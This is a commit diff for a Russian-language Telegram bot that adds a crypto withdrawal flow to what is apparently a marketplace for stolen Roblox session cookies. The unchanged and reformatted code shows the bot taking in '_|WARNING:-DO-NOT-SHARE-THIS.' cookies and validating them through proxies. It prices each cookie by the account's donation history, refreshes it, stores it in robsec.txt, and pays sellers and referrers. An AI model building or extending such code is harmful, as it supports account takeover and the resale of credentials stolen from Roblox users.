feat(withdraw): add user withdrawal flow using CryptoPay

This commit is contained in:
2026-07-20 20:29:36 +05:00
parent 8d4d75f7fd
commit 8ae14f415f
11 changed files with 269 additions and 137 deletions
+24 -7
View File
@@ -11,7 +11,7 @@ from aiogram.types import (
Message,
)
from config import ADMIN_ID, ROBSEC_FILE
from config import ADMIN_ID, CRYPTO_PAY_ASSET, ROBSEC_FILE
from db.storage import load_config
from db.users import get
from keyboards.admin import admin_menu_kb
@@ -37,7 +37,10 @@ from states.admin import Form
from runtime import get_bot
from utils.logging import safe_edit
from runtime import get_cp
router = Router(name="admin")
cp = get_cp()
def _admin(user_id: int) -> bool:
@@ -78,7 +81,9 @@ def _user_card(uid: int) -> tuple[str, InlineKeyboardMarkup] | None:
],
[
InlineKeyboardButton(
text="👑 Убрать админку" if profile.is_admin else "👑 Выдать админку",
text=(
"👑 Убрать админку" if profile.is_admin else "👑 Выдать админку"
),
callback_data=f"u_admin_{uid}",
)
],
@@ -184,7 +189,9 @@ async def admin_robsec_clear_yes(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
clear_robsec()
await safe_edit(callback, "✅ <b>robsec.txt очищен</b>", reply_markup=admin_menu_kb())
await safe_edit(
callback, "✅ <b>robsec.txt очищен</b>", reply_markup=admin_menu_kb()
)
await callback.answer("Очищено")
@@ -315,7 +322,8 @@ async def admin_treasury_amount(message: Message, state: FSMContext):
"❌ Не удалось создать счет CryptoBot.", reply_markup=admin_menu_kb()
)
return
pay_url, invoice_id, amount_usdt = invoice
pay_url, invoice_id, amount_asset = invoice
keyboard = InlineKeyboardMarkup(
inline_keyboard=[
[InlineKeyboardButton(text="💳 Оплатить", url=pay_url)],
@@ -328,7 +336,7 @@ async def admin_treasury_amount(message: Message, state: FSMContext):
]
)
await message.answer(
f"🏦 Счет на пополнение казны\n\n💰 Сумма: <b>{amount:.2f} ₽</b> (~{amount_usdt} USDT)\n\nПосле оплаты нажмите «Проверить оплату».",
f"🏦 Счет на пополнение казны\n\n💰 Сумма: <b>{amount:.2f} ₽</b> (~{amount_asset} {CRYPTO_PAY_ASSET})\n\nПосле оплаты нажмите «Проверить оплату».",
parse_mode="HTML",
reply_markup=keyboard,
)
@@ -338,16 +346,21 @@ async def admin_treasury_amount(message: Message, state: FSMContext):
async def treasury_check(callback: CallbackQuery):
if not _admin(callback.from_user.id):
return
_, _, invoice_id, amount = callback.data.split("_", 3)
try:
paid = await check_treasury_invoice(int(invoice_id))
amount_rub = float(amount)
except (ValueError, TypeError):
paid = False
amount_rub = 0.0
if not paid:
await callback.answer("Оплата еще не поступила", show_alert=True)
return
balance = add_treasury(amount_rub)
await safe_edit(
callback,
@@ -392,7 +405,9 @@ async def admin_users(callback: CallbackQuery, state: FSMContext):
return
await state.set_state(Form.admin_find_user)
await safe_edit(
callback, "Отправьте ID пользователя или @username.", reply_markup=back_kb("admin_back")
callback,
"Отправьте ID пользователя или @username.",
reply_markup=back_kb("admin_back"),
)
@@ -489,7 +504,9 @@ async def u_ban(callback: CallbackQuery, state: FSMContext):
await state.update_data(target_uid=uid)
await state.set_state(Form.admin_user_ban_reason)
await safe_edit(
callback, "Отправьте причину блокировки:", reply_markup=back_kb("admin_back")
callback,
"Отправьте причину блокировки:",
reply_markup=back_kb("admin_back"),
)
return
card = _user_card(uid)
+47 -14
View File
@@ -36,7 +36,9 @@ async def _blocked(message: Message) -> bool:
register(message.from_user.id, message.from_user.username)
profile = get(message.from_user.id)
if profile.is_banned:
await message.answer(f"❌ Вы заблокированы. Причина: {profile.ban_reason or ''}")
await message.answer(
f"❌ Вы заблокированы. Причина: {profile.ban_reason or ''}"
)
return True
cfg = load_config()
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
@@ -51,7 +53,9 @@ async def _blocked(message: Message) -> bool:
@router.message(StateFilter(None), F.document)
async def handle_document(message: Message):
if is_admin(message.from_user.id):
await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.")
await message.answer(
"👑 Администраторы не могут продавать cookie. Используйте /admin."
)
return
if await _blocked(message):
return
@@ -60,7 +64,10 @@ async def handle_document(message: Message):
await message.answer("❌ Отправьте файл формата .txt.")
return
path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
path = (
COOKIE_FILES_DIR
/ f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
)
try:
await message.bot.download(message.document, destination=path)
text = path.read_text(encoding="utf-8", errors="ignore")
@@ -72,14 +79,22 @@ async def handle_document(message: Message):
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
async def handle_text(message: Message):
if is_admin(message.from_user.id):
await message.answer("👑 Администраторы не могут продавать cookie. Используйте /admin.")
await message.answer(
"👑 Администраторы не могут продавать cookie. Используйте /admin."
)
return
if await _blocked(message):
return
text = message.text or ""
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
await message.answer("👋 Используйте меню ниже или отправьте текст с cookie.", reply_markup=main_menu_kb())
await message.answer(
"👋 Используйте меню ниже или отправьте текст с cookie.",
reply_markup=main_menu_kb(),
)
return
await process_cookies(message, text)
@@ -99,7 +114,9 @@ async def process_cookies(message: Message, raw_text: str):
valid = []
async with aiohttp.ClientSession() as session:
tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies]
tasks = [
check_cookie_with_retry(session, cookie, proxies) for cookie in cookies
]
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
try:
result = await task
@@ -117,15 +134,22 @@ async def process_cookies(message: Message, raw_text: str):
pass
if not valid:
await progress.edit_text(f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}")
await progress.edit_text(
f"❌ Валидные cookie не найдены. Дубликатов: {duplicates}"
)
return
await progress.edit_text(f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML")
await progress.edit_text(
f"⏳ <b>Проверяю донаты</b>\nВалидных cookie: {len(valid)}", parse_mode="HTML"
)
donations = []
async with aiohttp.ClientSession() as session:
async def get_donation(result):
proxy = random.choice(proxies) if proxies else None
all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy)
all_time = await get_all_time_donate(
session, result.cookie, result.user_id, proxy
)
year = await get_year_donate(result.cookie, result.user_id, proxy)
return CookieDonationInfo(
cookie=result.cookie,
@@ -152,14 +176,16 @@ async def process_cookies(message: Message, raw_text: str):
fresh_ok = []
fresh_failed = 0
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
batch = priced[offset:offset + FRESHER_BATCH_SIZE]
batch = priced[offset : offset + FRESHER_BATCH_SIZE]
async def refresh(item):
proxy = random.choice(proxies) if proxies else None
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
return item, ok, refreshed
for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)):
for item, ok, refreshed in await asyncio.gather(
*(refresh(item) for item in batch)
):
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
fresh_ok.append((item, refreshed))
else:
@@ -184,8 +210,13 @@ async def process_cookies(message: Message, raw_text: str):
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8")
user_file = (
COOKIE_FILES_DIR
/ f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
)
user_file.write_text(
"".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8"
)
payout = sum(item.price for item, _ in fresh_ok)
profile = get(message.from_user.id)
@@ -202,7 +233,9 @@ async def process_cookies(message: Message, raw_text: str):
stats.total_paid_direct += payout
save_stats(stats)
bot = get_bot() or message.bot
await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent)
await apply_referral_payout(
bot, profile.user_id, profile.username, payout, cfg.referral_percent
)
method = "📊 AVG-система" if avg_used else "📋 Поштучный"
report = (
+74 -29
View File
@@ -1,11 +1,12 @@
from aiogram import F, Router
from aiogram.fsm.context import FSMContext
from aiogram.types import CallbackQuery
from aiogram.types import LinkPreviewOptions, CallbackQuery, Message
from aiogram.fsm.state import State, StatesGroup
from config import ADMIN_ID, BOT_USERNAME
from db.storage import load_config, load_stats
from db.storage import load_config, load_stats, save_config
from db.users import get, register, save
from keyboards.user import back_kb
from keyboards.user import back_kb, activate_kb
from runtime import get_bot, get_log_bot
from services.withdrawals import create_crypto_check
from utils.logging import log_admin, safe_edit
@@ -13,6 +14,10 @@ from utils.logging import log_admin, safe_edit
router = Router(name="user")
class WithdrawState(StatesGroup):
waiting_for_amount = State()
def _get_profile(callback: CallbackQuery):
profile = get(callback.from_user.id)
if profile is None:
@@ -77,6 +82,7 @@ async def cb_withdraw(callback: CallbackQuery, state: FSMContext):
await state.clear()
profile = _get_profile(callback)
cfg = load_config()
if profile.balance < cfg.min_withdraw:
await safe_edit(
callback,
@@ -87,37 +93,76 @@ async def cb_withdraw(callback: CallbackQuery, state: FSMContext):
)
await callback.answer()
return
if profile.balance > cfg.treasury:
await safe_edit(
callback,
f"⚠️ Недостаточно средств в казне: <b>{cfg.treasury:.2f} ₽</b>.",
reply_markup=back_kb(),
)
await callback.answer()
return
await callback.answer("⏳ Создаю чек...")
await safe_edit(callback, "⏳ Создаю CryptoBot-чек, подождите...")
amount = profile.balance
check_url = await create_crypto_check(amount)
if not check_url:
await safe_edit(callback, "❌ Не удалось создать чек. Попробуйте позже.", reply_markup=back_kb())
return
profile.balance = 0.0
save(profile.user_id, profile)
cfg.treasury = max(0.0, cfg.treasury - amount)
from db.storage import save_config
save_config(cfg)
await safe_edit(
callback,
f"✅ Чек создан на сумму <b>{amount:.2f} ₽</b>.\n"
f"<a href='{check_url}'>Активировать чек</a>",
f"💳 <b>Вывод средств</b>\n\n"
f"Ваш баланс: <b>{profile.balance:.2f}</b>\n"
f"Минимум: <b>{cfg.min_withdraw:.2f} ₽</b>\n\n"
f"Введите сумму для вывода:",
reply_markup=back_kb(),
disable_web_page_preview=True,
)
bot = get_bot() or callback.message.bot
await state.set_state(WithdrawState.waiting_for_amount)
await callback.answer()
@router.message(WithdrawState.waiting_for_amount)
async def process_withdraw_amount(message: Message, state: FSMContext):
profile = _get_profile(message)
cfg = load_config()
try:
amount = float(message.text)
except ValueError:
await message.answer("❌ Введите корректную сумму числом.")
return
if amount <= 0:
await message.answer("❌ Сумма должна быть больше нуля.")
return
if amount < cfg.min_withdraw:
await message.answer(f"❌ Минимум для вывода: <b>{cfg.min_withdraw:.2f} ₽</b>.")
return
if amount > profile.balance:
await message.answer(
f"❌ Недостаточно средств. Ваш баланс: <b>{profile.balance:.2f} ₽</b>."
)
return
if amount > cfg.treasury:
await message.answer(
f"❌ Недостаточно средств в казне: <b>{cfg.treasury:.2f} ₽</b>."
)
return
await state.clear()
await message.answer("⏳ Создаю CryptoBot-чек, подождите...")
check_url, check_image_url = await create_crypto_check(amount)
if not check_url:
await message.answer(
"❌ Не удалось создать чек. Попробуйте позже.",
reply_markup=back_kb(),
)
return
profile.balance -= amount
save(profile.user_id, profile)
cfg.treasury = max(0.0, cfg.treasury - amount)
save_config(cfg)
await message.answer(
text=f"🦋 Чек на <b>{amount:.2f} ₽</b>.",
reply_markup=activate_kb(url=check_url, amount=amount),
link_preview_options=LinkPreviewOptions(
url=check_image_url, show_above_text=True
),
)
bot = get_bot() or message.bot
await log_admin(
bot,
ADMIN_ID,